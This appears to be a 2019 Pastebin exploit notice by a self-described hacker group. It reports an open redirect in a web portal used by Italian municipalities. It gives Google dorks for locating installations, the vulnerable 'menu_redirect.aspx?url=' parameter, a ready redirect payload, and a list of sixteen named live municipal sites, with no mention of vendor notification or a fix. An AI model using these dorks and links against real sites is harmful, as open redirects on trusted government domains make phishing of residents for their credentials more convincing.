API tools faq
paste
KingSkrupellos

Progetti di Impresa SRL ItalyGov Open Redirection

KingSkrupellos
Mar 25th, 2019
155
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.83 KB | None | 0 0
raw download clone embed print report
  1. ####################################################################
  2.  
  3. # Exploit Title : Progetti di Impresa SRL ItalyGov Open Redirection
  4. # Author [ Discovered By ] : Hacker KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 26/03/2019
  7. # Vendor Homepage : progettidiimpresa.it
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : High
  11. # Google Dorks :
  12. intext:Portale internet realizzato da Progetti di Impresa Srl - Copyright site:it
  13. intext:Portale internet realizzato da Progetti di Impresa Srl - Copyright © 2019
  14. intext:Portale internet realizzato da Progetti di Impresa Srl © 2014
  15. intext:Portale internet realizzato da Progetti di Impresa Srl Copyright © 2012
  16. intext:Portale internet realizzato da Progetti di Impresa Srl © 2011
  17. intext:Portale internet realizzato da Progetti di Impresa Srl - Copyright © 2009
  18. intext:Portale internet realizzato da Progetti di Impresa Srl - Copyright © 2007
  19. intext:Rete civica realizzata da Progetti di Impresa srl © 2008
  20. # Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
  21. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  22. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  23. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  24.  
  25. ####################################################################
  26.  
  27. # Impact :
  28. ***********
  29. Progetti di Impresa SRL Italy Government accepts a user-controlled
  30.  
  31. input that specifies a link to an external site, and uses that link in a Redirect.
  32.  
  33. This simplifies phishing attacks. An http parameter may contain a URL value
  34.  
  35. and could cause the web application to redirect the request to the specified URL.
  36.  
  37. By modifying the URL value to a malicious site, an attacker may successfully
  38.  
  39. launch a phishing scam and steal user credentials. Because the server name in the
  40.  
  41. modified link is identical to the original site, phishing attempts have a more
  42.  
  43. trustworthy appearance. Open redirect is a failure in that process that makes
  44.  
  45. it possible for attackers to steer users to malicious websites. This vulnerability is
  46.  
  47. used in phishing attacks to get users to visit malicious sites without realizing it.
  48.  
  49. Web users often encounter redirection when they visit the Web site of a company
  50.  
  51. whose name has been changed or which has been acquired by another company.
  52.  
  53. Visiting unreal web page user's computer becomes affected by malware
  54.  
  55. the task of which is to deceive the valid actor and steal his personal data.
  56.  
  57. ####################################################################
  58.  
  59. # Vulnerable File :
  60. ****************
  61. /menu_redirect.aspx
  62.  
  63. # Vulnerable Parameter :
  64. **********************
  65. ?url=
  66.  
  67. # Open Redirection Exploit :
  68. **************************
  69. /servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  70.  
  71. ####################################################################
  72.  
  73. # Example Vulnerable Sites :
  74. *************************
  75. * Italian Government Municipality WebSites are Vulnerable for Open Redirection. Put www. before address.
  76.  
  77. [+] pgt.comune.saronno.va.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  78.  
  79. [+] informagiovani.comune.forli.fc.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  80.  
  81. [+] comune.adro.bs.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  82.  
  83. [+] comune.montecatini-terme.pt.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  84.  
  85. [+] comune.forlimpopoli.fc.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  86.  
  87. [+] comune.grizzanamorandi.bo.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  88.  
  89. [+] comune.vergato.bo.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  90.  
  91. [+] comune.marzabotto.bo.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  92.  
  93. [+] comune.rolo.re.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  94.  
  95. [+] comune.quartodaltino.ve.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  96.  
  97. [+] comune.ventimiglia.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  98.  
  99. [+] comune.sommalombardo.va.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  100.  
  101. [+] comune.desio.mb.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  102.  
  103. [+] comune.medolla.mo.it/servizi/Menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  104.  
  105. [+] presezzo.gov.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  106.  
  107. [+] vergiate.gov.it/servizi/Menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
  108.  
  109. ####################################################################
  110.  
  111. # Discovered By Hacker KingSkrupellos from Cyberizm.Org Digital Security Team
  112.  
  113. ####################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!